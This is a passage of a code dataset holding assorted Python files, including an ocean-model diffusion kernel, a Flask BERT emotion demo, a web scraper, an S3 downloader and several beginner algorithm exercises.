vs.dyu[1 + jp : -3 + jp]\n            drodyb = (\n                drdT[2:-2, 2:-2, kr : -1 + kr or None] * dTdy[2:-2, 1 + jp : -3 + jp, kr : -1 + kr or None]\n                + drdS[2:-2, 2:-2, kr : -1 + kr or None] * dSdy[2:-2, 1 + jp : -3 + jp, kr : -1 + kr or None]\n            )\n            syb = -drodyb / (npx.minimum(0.0, drodzb) - epsln)\n            taper = dm_taper(syb, settings.iso_slopec, settings.iso_dslope)\n            sumy = (\n                sumy\n                + facty[npx.newaxis, :, npx.newaxis]\n                * vs.K_iso[2:-2, 2:-2, :-1]\n                * taper\n                * syb**2\n                * vs.maskW[2:-2, 2:-2, :-1]\n            )\n            vs.Ai_by = update(vs.Ai_by, at[2:-2, 2:-2, :-1, jp, kr], taper * syb * vs.maskW[2:-2, 2:-2, :-1])\n\n    vs.K_33 = update(\n        vs.K_33,\n        at[2:-2, 2:-2, :-1],\n        sumx / (4 * vs.dxt[2:-2, npx.newaxis, npx.newaxis])\n        + sumy / (4 * vs.dyt[npx.newaxis, 2:-2, npx.newaxis] * vs.cost[npx.newaxis, 2:-2, npx.newaxis]),\n    )\n    vs.K_33 = update(vs.K_33, at[..., -1], 0.0)\n\n    return KernelOutput(\n        Ai_ez=vs.Ai_ez, Ai_nz=vs.Ai_nz, Ai_bx=vs.Ai_bx, Ai_by=vs.Ai_by, K_11=vs.K_11, K_22=vs.K_22, K_33=vs.K_33\n    )\n\n\n@veros_kernel\ndef isoneutral_diag_streamfunction_kernel(state):\n    vs = state.variables\n\n    K_gm_pad = utilities.pad_z_edges(vs.K_gm)\n\n    \"\"\"\n    meridional component at east face of 'T' cells\n    \"\"\"\n    diffloc = 0.25 * (\n        K_gm_pad[1:-2, 2:-2, 1:-1] + K_gm_pad[1:-2, 2:-2, :-2] + K_gm_pad[2:-1, 2:-2, 1:-1] + K_gm_pad[2:-1, 2:-2, :-2]\n    )\n    vs.B2_gm = update(vs.B2_gm, at[1:-2, 2:-2, :], 0.25 * diffloc * npx.sum(vs.Ai_ez[1:-2, 2:-2, ...], axis=(3, 4)))\n\n    \"\"\"\n    zonal component at north face of 'T' cells\n    \"\"\"\n    diffloc = 0.25 * (\n        K_gm_pad[2:-2, 1:-2, 1:-1] + K_gm_pad[2:-2, 1:-2, :-2] + K_gm_pad[2:-2, 2:-1, 1:-1] + K_gm_pad[2:-2, 2:-1, :-2]\n    )\n    vs.B1_gm = update(vs.B1_gm, at[2:-2, 1:-2, :], -0.25 * diffloc * npx.sum(vs.Ai_nz[2:-2, 1:-2, ...], axis=(3, 4)))\n\n    return KernelOutput(B1_gm=vs.B1_gm, B2_gm=vs.B2_gm)\n\n\n@veros_routine\ndef isoneutral_diag_streamfunction(state):\n    \"\"\"\n    calculate hor. components of streamfunction for eddy driven velocity\n    for diagnostics purpose only\n    \"\"\"\n    vs = state.variables\n    settings = state.settings\n\n    if not (settings.enable_neutral_diffusion and settings.enable_skew_diffusion):\n        return\n\n    vs.update(isoneutral_diag_streamfunction_kernel(state))\n\n\n@veros_routine\ndef check_isoneutral_slope_crit(state):\n    \"\"\"\n    check linear stability criterion from Griffies et al\n    \"\"\"\n    vs = state.variables\n    settings = state.settings\n\n    epsln = 1e-20\n    if settings.enable_neutral_diffusion:\n        ft1 = 1.0 / (4.0 * settings.K_iso_0 * settings.dt_tracer + epsln)\n        delta1a = npx.min(\n            vs.dxt[2:-2, npx.newaxis, npx.newaxis]\n            * npx.abs(vs.cost[npx.newaxis, 2:-2, npx.newaxis])\n            * vs.dzt[npx.newaxis, npx.newaxis, :]\n            * ft1\n        )\n        delta1b = npx.min(vs.dyt[npx.newaxis, 2:-2, npx.newaxis] * vs.dzt[npx.newaxis, npx.newaxis, :] * ft1)\n        delta_iso1 = min(vs.dzt[0] * ft1 * vs.dxt[-1] * abs(vs.cost[-1]), min(delta1a, delta1b))\n\n        logger.info(\"Diffusion grid factor delta_iso1 = {}\", float(delta_iso1))\n        if delta_iso1 < settings.iso_slopec:\n            raise RuntimeError(\n                \"Without latitudinal filtering, delta_iso1 is the steepest \"\n                \"isoneutral slope available for linear stability of \"\n                \"Redi and GM. Maximum allowable isoneutral slope is \"\n                f\"specified as iso_slopec = {settings.iso_slopec}.\"\n            )\n","repo_name":"team-ocean/veros","sub_path":"veros/core/isoneutral/isoneutral.py","file_name":"isoneutral.py","file_ext":"py","file_size_in_byte":11269,"program_lang":"python","lang":"en","doc_type":"code","stars":273,"dataset":"github-code","pt":"3"}
+{"seq_id":"10590799568","text":"from flask import Flask, render_template, request\nimport pandas as pd\nimport torch\nfrom transformers import BertTokenizer, BertForSequenceClassification\n\nfrom model import BertSentimentAnalysis\n\nbert_model = BertForSequenceClassification.from_pretrained('bert-base-uncased', cache_dir=\"./cache/\", num_labels=28)\n\ntokenizer = BertTokenizer.from_pretrained('bert-base-uncased', cache_dir=\"./cache/\")\n\nwith open(\"./data/emotions.txt\", \"r\") as f:\n    emo_list = [line.strip() for line in f.readlines()]\n\nthresholds = pd.read_csv(\"./saving/demo/thresholds.csv\", index_col=0)\n\nmodel = BertSentimentAnalysis(bert_model, bert_model.config.hidden_size, 0.1, len(emo_list), dense_num=1)\n\n# run on cpu only \nmodel.load_state_dict(torch.load(\"./saving/demo/parameters.pth\", map_location=torch.device('cpu')))\n\nemoji_dict = {}\nwith open(\"./saving/demo/emoji_dict.txt\", \"r\") as f:\n    for line in f.readlines():\n        emo, emoji = line.strip().split(\" \")\n        emoji_dict[emo] = emoji\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET', 'POST'])\ndef home():\n    if request.method == \"POST\" :\n        input_text = request.form.get(\"input_text\")\n\n        encoding = tokenizer.encode_plus(\n            input_text,\n            add_special_tokens=True,\n            max_length=128,\n            padding=\"max_length\",\n            truncation=True,\n            return_attention_mask=True,\n            return_tensors=\"pt\"\n        )\n\n        input_ids = encoding[\"input_ids\"].squeeze()\n        attention_mask = encoding[\"attention_mask\"].squeeze()\n        logits = model(input_ids.unsqueeze(0), attention_mask.unsqueeze(0))\n        logits = logits.squeeze()\n        logits = torch.sigmoid(logits)\n        predictions = []\n        for i in range(len(emo_list)):\n            if logits[i] > thresholds.loc[emo_list[i], \"threshold\"]:\n                emotions = emoji_dict[emo_list[i]] + \" : \" + emo_list[i]\n                predictions.append(emotions)\n        return render_template(\"index.html\", predictions=predictions)\n    return render_template(\"index.html\")\n\nif __name__ == '__main__':\n    app.run(debug=True, host='0.0.0.0', port=8888)","repo_name":"hnyls2002/KFC-emo","sub_path":"demo_web.py","file_name":"demo_web.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10333848078","text":"# Heap Sort\ndef heapify(a, n, i):\n\n    print(\"a = {}, n = {} and i = {}\".format(a,n,i))\n\n    largest = i\n    l = 2*i + 1\n    r = 2*i + 2\n\n    print(\"Current root is {} with left = {} and right = {}\".format(a[i], a[l] if l < n else None, a[r] if r <n else None))\n\n    if l < n and a[l] > a[largest]:\n        largest = l\n\n    if r < n and a[r] > a[largest]:\n        largest = r\n\n    if largest != i:\n        a[i],a[largest] = a[largest], a[i]\n        print('\\n')\n        heapify(a, n, largest)\n\ndef heap_sort(a):\n    n = len(a)\n    print(\"About to heapify {}\".format(a))\n    for i in range(int(n/2) - 1, -1, -1):\n        print('\\n')\n        heapify(a, n, i)\n    print(\"\\nDone! \\nHeapified => {}\".format(a))\n    for i in range(n-1, -1, -1):\n        a[0],a[i] = a[i], a[0]\n        print('\\n')\n        heapify(a, i, 0)\n\n\na = [1,2,3,4,5,6,7,8]\nheap_sort(a)\nprint(a)","repo_name":"AamirAnwar/PythonLab","sub_path":"heap_sort.py","file_name":"heap_sort.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"36016911072","text":"n = 3\narr1 = []\narr2 = []\narr3 = []\nfit = []\nfor i in range(3):\n    x = int(input())\n    arr1.append(x)\nif sum(arr1) // 3 > 70:\n    fit.append(sum(arr1) // 3)\nfor i in range(3):\n    x = int(input())\n    arr2.append(x)\nif sum(arr1) // 3 > 70:\n    fit.append(sum(arr2) // 3)\nfor i in range(3):\n    x = int(input())\n    arr3.append(x)\nif sum(arr1) // 3 > 70:\n    fit.append(sum(arr3) // 3)\nprint(fit)\nmax = fit[0]\nc = 0\nfinal = []\nfor i in range(1,len(fit)):\n    if max < fit[i]:\n        max = fit[i]\n        c = i\n    if max == fit[i]:\n        final.append(i)\nif fit[0] == max and 0 not in final:\n    final.append(0)\nfinal.sort()\nif len(final) > 1:\n    for i in range(len(final)):\n        print(\"most fit candided is {} with {} level\".format(i,max))\nelse:\n    print(\"most fit candided is{} with {} level\".format(c, max))\nprint(fit)\nprint(final)\n\n","repo_name":"Harshit975shukla/test","sub_path":"oxygen.py","file_name":"oxygen.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35343792213","text":"# # 아이디 규칙에 맞지 않는 아이디를 입력했을때, 입력된 아이디와 유사하면서 규칙에 맞는 아이디를 추천해주는 프로그램을 개발하는 것\n# # 규칙\n# # 아이디의 길이는 3자 이상 15자 이하여야 합니다.\n# # 아이디는 알파벳 소문자, 숫자, 빼기(-), 밑줄(_), 마침표(.) 문자만 사용할 수 있습니다.\n# # 단, 마침표(.)는 처음과 끝에 사용할 수 없으며 또한 연속으로 사용할 수 없습니다.\n\n# import re\n\n# # 다음과 같이 7단계의 순차적인 처리 과정을 통해 신규 유저가 입력한 아이디가 카카오 아이디 규칙에 맞는 지 검사하고 규칙에 맞지 않은 경우 규칙에 맞는 새로운 아이디를 추천\n# # 신규 유저가 입력한 아이디가 new_id 라고 한다면,\n# # 1단계 new_id의 모든 대문자를 대응되는 소문자로 치환합니다.\n# # 2단계 new_id에서 알파벳 소문자, 숫자, 빼기(-), 밑줄(_), 마침표(.)를 제외한 모든 문자를 제거합니다.\n# # 3단계 new_id에서 마침표(.)가 2번 이상 연속된 부분을 하나의 마침표(.)로 치환합니다.\n# # 4단계 new_id에서 마침표(.)가 처음이나 끝에 위치한다면 제거합니다.\n# # 5단계 new_id가 빈 문자열이라면, new_id에 \"a\"를 대입합니다.\n# # 6단계 new_id의 길이가 16자 이상이면, new_id의 첫 15개의 문자를 제외한 나머지 문자들을 모두 제거합니다.\n# #      만약 제거 후 마침표(.)가 new_id의 끝에 위치한다면 끝에 위치한 마침표(.) 문자를 제거합니다.\n# # 7단계 new_id의 길이가 2자 이하라면, new_id의 마지막 문자를 new_id의 길이가 3이 될 때까지 반복해서 끝에 붙입니다.\n\n\n# def solution(new_id):\n#     answer = \"\"\n#     new_id = new_id.lower()  # 1단계\n#     new_id = re.sub(\"[^a-zA-Z0-9-_.]\", \"\", new_id)  # 2단계\n#     new_id = re.sub(\"[..]+\", \".\", new_id)  # 3단계\n#     new_id = re.sub(\"^[.]|[.]$]+\", \"\", new_id)  # 4단계\n#     if new_id == \"\":  # 5단계\n#         new_id = \"a\"\n#     if len(new_id) >= 16:  # 6단계\n#         new_id = new_id[:15]\n#     new_id = re.sub(\"[.]$\", \"\", new_id)\n#     while len(new_id) < 3:\n#         new_id += new_id[-1]\n#     answer = new_id\n#     return answer\n\n\n# print(solution(\"z-+.....^.\"))\n\n# def solution(phone_number):\n#     answer = \"\"\n#     nums = len(phone_number) - 4\n#     answer = (nums * \"*\") + phone_number[-4:]\n#     return answer\n\n\nimport re\n\n# re.sub('패턴', '바꿀문자열', '문자열', 바꿀횟수)\n\n\ndef solution(new_id):\n    new_id = new_id.lower()  # 1단계\n    new_id = re.sub(\"[^a-z0-9-_.]\", \"\", new_id)  # 2단계\n    new_id = re.sub(\"(([.])\\\\2{1,})\", \".\", new_id)  # 3단계\n    new_id = re.sub(\"[^\\.|\\.$]\", \"\", new_id)  # 4단계\n    if len(new_id) == 0:\n        new_id = \"a\"  # 5단계\n    new_id = re.sub(\"\\.$\", \"\", new_id[:15])  # 6단계\n    while len(new_id) < 3:\n        new_id += new_id[-1]  # 7단계\n\n    return new_id\n\n\nprint(solution(\"=.=\"))\n","repo_name":"Roadman-Lee/pracAlgorythm","sub_path":"algorythm/a211203.py","file_name":"a211203.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6417084504","text":"from bs4 import BeautifulSoup\nimport requests\n\ndef get_top_products():\n    url = \"https://www.producthunt.com\"\n    response = requests.get(url)\n    # Fetching the content of the URL\n    if response.status_code != 200:\n        return None\n    soup = BeautifulSoup(response.content, 'html.parser')\n    product_div = soup.find('div', attrs={'data-test': 'homepage-section-0'})\n    if not product_div:\n        return None\n    products = {}\n    product_links = product_div.find_all('a')\n    for link in product_links:\n        is_post = link['href'].startswith('/post')\n        text = link.get_text(strip=True)\n        u = f\"{url}{link['href']}\"\n        if is_post and text:\n            try:\n                products[u].append(text)\n            except:\n                products[u] = [text]\n    return products\n\n\ndef format_url_and_values(dict_data):\n    result = []                      \n    for url, values in dict_data.items():\n        formatted_values = ': '.join(values)\n        result.append(f\"[{formatted_values}]({url})\")\n    return result","repo_name":"guarilha/james","sub_path":"src/services/producthunt.py","file_name":"producthunt.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"19827205161","text":"'''\r\nCreated on 18 de abr de 2017\r\n\r\n@author: rondy - radioanori\r\n'''\r\n\r\nfrom django import forms\r\n\r\nfrom .models import Comentario, Anuncio, Attachment, ModelForm, Image\r\nfrom multiupload.fields import MultiFileField\r\n\r\n\r\nclass PostForm(forms.ModelForm):\r\n\r\n    class Meta:\r\n        model = Comentario\r\n        fields = ('comentario',)\r\n\r\n\r\nclass PostFormClassificado(forms.Form):\r\n    \r\n    titulo = forms.CharField()\r\n    valor = forms.FloatField()\r\n    contato = forms.CharField()\r\n    #descricao = forms.Textarea()\r\n    imagem = forms.FileField()\r\n    \r\n    class Meta:\r\n        model = Anuncio\r\n        \r\n        \r\n        #widgets={\"files\":forms.FileInput(attrs={'id':'files','required':True,'multiple':True})}\r\n\r\nclass FormClassificado(forms.ModelForm):\r\n    \r\n    class Meta:\r\n        model = Anuncio\r\n        fields = ['titulo',\r\n                  'valor',\r\n                  'contato',\r\n                  'descricao',]\r\n        \r\n    files = MultiFileField(min_num=1, max_num=3, max_file_size=1024*1024*5)\r\n    \r\n    def save(self, commit=True):\r\n        instance = super(FormClassificado, self).save(commit)\r\n        for each in self.cleaned_data['files']:\r\n            Attachment.objects.create(file=each, message=instance)\r\n        \r\n        return instance\r\n\r\nclass AddForm(ModelForm):\r\n    imagens = MultiFileField(min_num=1, max_num=20)\r\n    \r\n    \r\n    class Meta:\r\n        model = Anuncio\r\n        fields = ('titulo', \r\n                  'valor',\r\n                  'contato',\r\n                  'descricao', \r\n                  'imagens',)\r\n\r\n    def save(self, commit=True):\r\n        \r\n        first_images = self.cleaned_data.pop('imagens')\r\n        instance = super(AddForm, self).save()\r\n        cont = 0\r\n        for each in first_images:\r\n           first = Image(image=each, profile=instance, cont=cont)\r\n           cont = cont + 1\r\n           first.save() \r\n    \r\n        return instance\r\n","repo_name":"rondybrandao/radioanori","sub_path":"radioanori/radiosite/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71688815761","text":"# -*- coding:utf-8 -*-\n\nimport re\n\ndef test04():\n    # - 操作字符串\n    string = \"\"\"<a href=\"http://e.baidu.com/?refer=888\" onmousedown=\"return ns_c({'fm':'behs','tab':'tj_tuiguang'})\">百度推广</a>\"\"\"\n\n    # - 正则规则\n    url_rule = re.compile(r'href=\"(.*?)\"')\n    url_name = re.compile(u'>([\\u4e00-\\u9fa5]+)<')\n\n    # - 正则匹配结果\n    url_results = re.findall(url_rule,string)\n    name_results = re.findall(url_name,string)\n\n    # - 打印Url\n    for line in url_results:\n        print(line)\n\n    # - 打印Name\n    for line in name_results:\n        print(line)\n\nif __name__ == \"__main__\":\n    test04()\n","repo_name":"GavenHwang/reptile","sub_path":"demo/get_html04_re.py","file_name":"get_html04_re.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70434779602","text":"from client.controllers import Controller\nfrom client.mixins import (CheckTestFilesMixin, PlaybackMixin,\n                           StartScriptMixin, TPSLoggingMixin)\nfrom client.utils.tv.nonsoap_commands import ping\n\n\nclass ControllerWithTVReboot(Controller,\n                             CheckTestFilesMixin,\n                             PlaybackMixin,\n                             StartScriptMixin,\n                             TPSLoggingMixin\n                            ):\n    \"\"\"\n    Controller is designed to start some playback\n    (0 or more streams at the same time), execute test script if requested,\n    and execute TV reboot as the MAIN action.\n    Step description:\n    1. Check is all test files are present and terminate test\n        if some of mandatory files are disapper.\n    2. Check if tested TV is available by given IP. Test will be terminated\n        if IP is not reachable\n    3. Start serial logging: pairing TV with current PC, set required\n        logging levels, and start collect serial logs to log file.\n        Test will be continued without log collection if something went wrong\n    4. Start playback in background of all requested streams.\n        Test will be terminated if playback is not started for any of streams.\n    5. Start test script if it is requested (interpritator is not \"None\")\n        and wait till is finished (by the end of script execution,\n        or by timeout).\n    6. Reboot tested TV.\n    7. Stop logging and playback processes and print footer at the end of test log\n\n    This controller is developed to reboot ONLY knowed TV sets.\n    Nothing will happend if tested device is unknown device. Test will be\n    failed if test script or reboot is not executed correctly.\n    \"\"\"\n\n    def __init__(self, params, *args, **kwargs):\n        super().__init__(params, *args, **kwargs)\n        self._interpreter = params.interpreter\n        self._timeout = params.timeout\n        self._test_step_patern = params.test_step_patern\n        # mixins\n        self._serial_log_setting = params.serial_log_setting\n        self._player_settings = params.player_settings\n        self._test_dir = params.test_dir\n        self._log_dir = params.log_dir\n\n    def _execute_test(self):\n        if not ping.check_ip(self._tvip):\n            raise RuntimeError('Device under test is unreachable.')\n\n        self.start_serial_logging()\n\n        self.start_playback()\n\n        try:\n            self.reboot_tv()\n        except:\n            status = 'TEST_FAILED'\n        else:\n            status = 'TEST_PASSED'\n        finally:\n            self._testlog('\\nTest result: {}'.format(status))\n","repo_name":"papachappa/client","sub_path":"client/controllers/with_tvreboot.py","file_name":"with_tvreboot.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24656457182","text":"import math\nimport sys\n\n\ndef sum_f(a,b):\n    return int(a + b)\n\ndef sub(a,b):\n    if a >= b:\n        return a - b\n    else:\n        return b - a\n\n\ndef mul(a,b):\n    return a * b\n\n\ndef div(a,b):\n    if a >= b:\n        return a / b\n    else:\n        return b / a\n\ndef square_root(a):\n    return int(math.sqrt(a))\n\ndef floor_div(a,b):\n    if a >= b:\n        return a // b\n    else:\n        return b // a\n\n\ndef modulo(a , b):\n    return a % b\n\n\ndef prime_check(a):\n    ct=0\n    for i in range(1,a+1):\n        if(a % i == 0):\n            ct+=1\n        else:\n            continue\n    if ct <= 2 :\n        return \"Prime !\"\n    else:\n        return \"Non-prime !\"\n\n\n\ndef check_fibonacci(n):\n    index = 0\n    l = []\n    for i in range(0, n):\n\n        if len(l) <= 1:\n            l.append(i)\n\n        else:\n\n            l.append(l[index + 1] + l[index])\n            index += 1\n\n    return l\n\n\n","repo_name":"ankitmohapatra12/Python-Practice","sub_path":"TopGear/Modules & Packages/Calculator Package/calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74788161040","text":"import re\nfrom typing import Match\nf=open(\"data.txt\",'r')\nresult=f.read()\npattern = re.compile(r'\\d{2}(SOECE)\\d{5}')\nfile =  pattern.finditer(result)\ne_no = []\nfor line in file:\n    e_no.append(line)\nfor i in e_no:\n    print(i)\nf.close()\n\n","repo_name":"disha111/Python_Beginners","sub_path":"Assignment 2/e_no.py","file_name":"e_no.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22169170363","text":"from customtkinter import CTk, CTkFrame, CTkLabel, CTkButton, TOP, BOTH, END, NORMAL, DISABLED  # type: ignore\nfrom GUI.constants import *\nfrom threading import Thread\n\n\nclass Semi(CTk):\n    from GUI.GUI import GUI\n\n    def __init__(self, app: GUI):\n        super().__init__()  # type: ignore\n        self.frame_semi = CTkFrame(app, fg_color=BG_COLOR_1)\n        f = self.frame_semi\n        text = app.font_text\n        title = app.font_title\n        self.app = app\n        self.label_semi = CTkLabel(f, font=title, text=\"Semiauto mode\")\n\n        self.button_semi_start = CTkButton(\n            f,\n            font=text,\n            text=\"\\u23F5\",\n            width=WIDTH_3,\n            fg_color=OK_COLOR,\n            hover_color=OK_COLOR_HOVER,\n            command=lambda: self.action(\"start\"),\n        )\n        self.button_semi_pause = CTkButton(\n            f,\n            font=text,\n            text=\"\\u23F8\",\n            width=WIDTH_3,\n            fg_color=INFO_COLOR,\n            hover_color=INFO_COLOR_HOVER,\n            command=lambda: self.action(\"pause\"),\n        )\n        self.button_semi_stop = CTkButton(\n            f,\n            font=text,\n            text=\"\\u23F9\",\n            width=WIDTH_3,\n            fg_color=ERR_COLOR,\n            hover_color=ERR_COLOR_HOVER,\n            command=lambda: self.action(\"stop\"),\n        )\n        self.button_semi_continuous = CTkButton(\n            f,\n            font=title,\n            text=\"\\u21AC\",\n            width=WIDTH_3,\n            command=lambda: self.action(\"continuos\"),\n        )\n\n        self.serial = app.com\n        self.frame_semi.grid_columnconfigure(0, weight=1)\n        self.frame_semi.grid_columnconfigure(1, weight=1)\n        self.frame_semi.grid_columnconfigure(2, weight=1)\n        self.frame_semi.grid_columnconfigure(3, weight=1)\n        self.label_semi.grid(row=0, column=0, columnspan=4, pady=PADY_INSIDE_FRAME, padx=PADX)  # type: ignore\n        self.button_semi_start.grid(row=1, column=0, pady=PADY_INSIDE_LAST, sticky=\"we\", padx=2)  # type: ignore\n        self.button_semi_pause.grid(row=1, column=1, pady=PADY_INSIDE_LAST, sticky=\"we\", padx=2)  # type: ignore\n        self.button_semi_stop.grid(row=1, column=2, pady=PADY_INSIDE_LAST, sticky=\"we\", padx=2)  # type: ignore\n        self.button_semi_continuous.grid(row=1, column=3, pady=PADY_INSIDE_LAST, sticky=\"we\", padx=2)  # type: ignore\n        # self.show()\n\n    def action(self, button: auto_option) -> None:\n        if button == \"start\":\n            self.app.log('semi', 'info', 'Request exposure start...')\n            self.button_semi_start.configure(state=DISABLED)  # type: ignore\n            self.button_semi_pause.configure(state=NORMAL)  # type: ignore\n            self.button_semi_stop.configure(state=NORMAL)  # type: ignore\n            self.button_semi_continuous.configure(state=DISABLED)  # type: ignore\n            if(self.app.app_state != 'pause'):\n                Thread(target=self.app.smart.start_smart_exposure).start()\n            self.app.change_app_state(button)\n        elif button == \"pause\":\n            self.app.change_app_state(button)\n            self.app.log('semi', 'info', 'Request exposure pause...')\n            self.button_semi_start.configure(state=NORMAL)  # type: ignore\n            self.button_semi_pause.configure(state=DISABLED)  # type: ignore\n            self.button_semi_stop.configure(state=NORMAL)  # type: ignore\n            self.button_semi_continuous.configure(state=DISABLED)  # type: ignore\n        elif button == \"stop\":\n            self.app.change_app_state(button)\n            self.app.log('semi', 'info', 'Request exposure stop...')\n            self.button_semi_start.configure(state=NORMAL)  # type: ignore\n            self.button_semi_pause.configure(state=NORMAL)  # type: ignore\n            self.button_semi_stop.configure(state=NORMAL)  # type: ignore\n            self.button_semi_continuous.configure(state=NORMAL)  # type: ignore\n        elif button == \"continuos\":\n            self.app.change_app_state(button)\n            self.app.log('semi', 'info', 'Request loop start...')\n            self.button_semi_start.configure(state=DISABLED)  # type: ignore\n            self.button_semi_pause.configure(state=NORMAL)  # type: ignore\n            self.button_semi_stop.configure(state=NORMAL)  # type: ignore\n            self.button_semi_continuous.configure(state=DISABLED)  # type: ignore\n            Thread(target=self.app.smart.start_smart_loop).start()\n            \n\n    def show(self):\n        self.frame_semi.pack(pady=PADY_FRAME, padx=PADX, side=TOP, fill=BOTH)  # type: ignore\n\n    def hide(self):\n        self.frame_semi.pack_forget()\n","repo_name":"GibranValle/FPDCalibratorBT","sub_path":"GUI/Semi.py","file_name":"Semi.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14999459400","text":"\"\"\"\nEP-3\nWhat is the largest prime factor of the number 600851475143 ?\n\"\"\"\nimport math\nprime_list = []\nnum = 600851475143 \n\ndef prime_factors(num):\n    num_rt = math.floor(math.sqrt(num))\n    i = 2\n    while i <= num_rt:\n        if num % i == 0: # checks if i is prime\n            while num % i == 0: # This loop removes the composites!\n                num = num / i\n            prime_list.append(i) # list holds only prime numbers\n        i += 1\n  \n    return max(prime_list) \nprint(prime_factors(num))\n\n        \n\n","repo_name":"supria68/ProjectEuler","sub_path":"python/largest_prime.py","file_name":"largest_prime.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43231499050","text":"#!/usr/bin/env python\n# encoding: utf-8\n'''\n@author: kafkal\n@contact: 1051748335@qq.com\n@software: pycharm\n@file: 19.py\n@time: 2019/1/29 029 17:09\n@desc:删除倒数第N个链表节点\n'''\nclass ListNode:\n    def __init__(self, x):\n        self.val = x\n        self.next = None\n\ndef removeNthFromEnd(head, n):\n    \"\"\"\n    :type head: ListNode\n    :type n: int\n    :rtype: ListNode\n    \"\"\"\n    Nodelist = []\n    while head != None:\n        Nodelist.append(head)\n        head = head.next\n    length = len(Nodelist)\n    if length - n - 1 >= 0:\n        if n != 1:\n            Nodelist[length-n-1].next = Nodelist[length-n+1]\n            return Nodelist[0]\n        else:\n            Nodelist[length-n-1].next = None\n            return Nodelist[0]\n    elif n == length and length>1:\n        return Nodelist[1]\n    else:\n        return None\n\nl1 = ListNode(1)\nl2 = ListNode(2)\n# l3 = ListNode(3)\n# l4 = ListNode(4)\nl1.next = l2\n# l2.next = l3\n# l3.next = l4\nprint(removeNthFromEnd(l1,1).val)","repo_name":"kafkalm/LeetCode","sub_path":"LeetCode/19.py","file_name":"19.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71030701842","text":"import boto3\nimport os\nimport json\nimport pickle\n\ndef save_data(filename, data):\n    #Storing data with labels\n    a_file = open(filename, \"wb\")\n    pickle.dump(data, a_file)\n    a_file.close()\n\n\ndef get_all_s3_objects(s3, **base_kwargs):\n    continuation_token = None\n    while True:\n        list_kwargs = dict(MaxKeys=1000, **base_kwargs)\n        if continuation_token:\n            list_kwargs['ContinuationToken'] = continuation_token\n        response = s3.list_objects_v2(**list_kwargs)\n        yield from response.get('Contents', [])\n        if not response.get('IsTruncated'):  # At the end of the list?\n            break\n        continuation_token = response.get('NextContinuationToken')\n\n\nbucket_name = \"knowledgegraphs-representationandreasoning-publicdataset-new\"\ns3 = boto3.client('s3')\n\n\n######### Enter year and type of data\n## True if data is for pre-training. Else, fine tuning data (True or False)\npretraining = True\n\n## Enter query year (2009 - 2014 for pre-training, 2016 - 2017 for fine-tuning)\nquery_year = 'QTR1'\n######################\n\n\nprefix='BERTPretrain_10KReports_cleaned/2021/'\n\n\nfor obj in get_all_s3_objects(boto3.client('s3'), Bucket=bucket_name, Prefix=prefix):\n    file_path = obj.get('Key')\n\n    if not file_path.endswith('.pkl'):\n        continue\n\n    qtr = file_path.split('/')[2].split('-')[0].strip()\n    folder =  '/'.join(file_path.split('/')[:3]) + '/'\n    os.makedirs(folder, exist_ok=True)\n\n    #print(qtr)\n    print(file_path)\n\n\n    ## Read a file from s3-bucket\n    data = s3.get_object(Bucket=bucket_name, Key=file_path)\n    data = pickle.loads(data['Body'].read())\n\n    save_data(file_path, data)\n\n","repo_name":"akshat57/useful_functions","sub_path":"download_s3.py","file_name":"download_s3.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71184270802","text":"#Write a program for bubble sort using python for the list a=[12, 5, 7, 18, 11, 6, 12, 4, 17, 1]  \r\ndef bubble_sort(list1):  \r\n    # Outer loop for traverse the entire list  \r\n    n=len(list1)\r\n    for i in range(n):  \r\n        for j in range(n-1):  \r\n            if(list1[j]>list1[j+1]):  \r\n                temp = list1[j]  \r\n                list1[j] = list1[j+1]  \r\n                list1[j+1] = temp  \r\n    return list1  \r\n  \r\na=[12, 5, 7, 18, 11, 6, 12, 4, 17, 1]  \r\nprint(\"The sorted list is: \", bubble_sort(a))  ","repo_name":"amycoolkarni51/Python","sub_path":"bubblesort.py","file_name":"bubblesort.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
